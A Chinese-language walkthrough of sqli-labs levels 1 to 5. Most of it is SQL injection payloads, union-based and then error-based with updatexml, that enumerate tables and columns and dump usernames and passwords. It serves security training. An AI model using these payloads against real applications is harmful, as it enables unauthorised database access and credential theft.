Less-1
-
输入参数,判断注入点
-
这里用联合查询进行注入
id=1' order by 3-- -
id=-1' union select 1,2,3-- -
id=-1' union select 1,database(),version()-- -
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"-- -
id=-1' union select 1,group_concat(username,0x7e,password),3 from users-- -
Less-2
-
这里还是先尝试单引号,但看报错信息这里显示有两个单引号,那就说明这个应该直接用and1=1和and1=2进行判断
id=1 and 1=1
id=1 and 1=2
-
继续使用联合查询进行注入
id=1 order by 3
id=-1 union select 1,2,3
id=-1 union select 1,database(),3
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= database()
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"
id=-1 union select 1,group_concat(username,0x7e,password),3 from users
Less-3
-
第三关我还是先尝试用单引号报错,报错信息引号是没问题,但后面多了个括号,尝试把括号闭合并且把后面注释掉
id=2')-- -
-
这里还是用联合查询进行注入
id=2') order by 3-- -
id=-2') union select 1,2,3-- -
id=-2') union select 1,database(),3-- -
id=-2') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= database()-- -
id=-2') union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"-- -
id=-2') union select 1,group_concat(username,0x7e,password),3 from users-- -
Less-4
-
第四关,这里尝试单引号报错,但没反应,那就尝试双引号报错,看报错信息,还有个括号,那就双引号括号闭合,后面的用-- -注释
id=4")-- -
-
还是使用联合查询进行注入
id=4") order by 3-- -
id=-4") union select 1,2,3-- -
id=-4")union select 1,database(),3-- -
id=-4") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= database()-- -
id=-4") union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"-- -
id=-4") union select 1,group_concat(username,0x7e,password),3 from users-- -
Less-5
-
第五关,还是尝试单引号报错,看报错信息没问题,直接把后面注释掉就好了
id=5'-- -
-
这里使用联合查询,会发现没有显位,只能通过报错判断,那么这里使用报错注入尝试
-
报错有floor()、updatexml()、extractvalue()等函数,这里使用updatexml()函数,不过这个函数显示限制字数,可以自行添加截断函数输出
id=5' and updatexml(1,concat(1,database(),0x7e),1)-- -
-
这里查询表名的时候,会提示报错,使用limit函数让它一个一个输出就可以了,可以看到第四个是"users" limit 3,1 就是第四个,这个函数不懂的可以百度一下,讲的很详细
id=5' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- -
-
原理同上,查询出字段名,第二个和第三个是username和password
id=5' and updatexml(1,concat(1,(select column_name from information_schema.columns where table_name="users" limit 0,1),0x7e),1)-- -
-
同理查出账户密码
id=5' and updatexml(1,concat(1,(select (username) from users limit 0,1),0x7e),1)-- -
id=5' and updatexml(1,concat(1,(select (password) from users limit 0,1),0x7e),1)-- -
原文始发于微信公众号(SUMMER渗透学习):sqli-labs(1-5)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论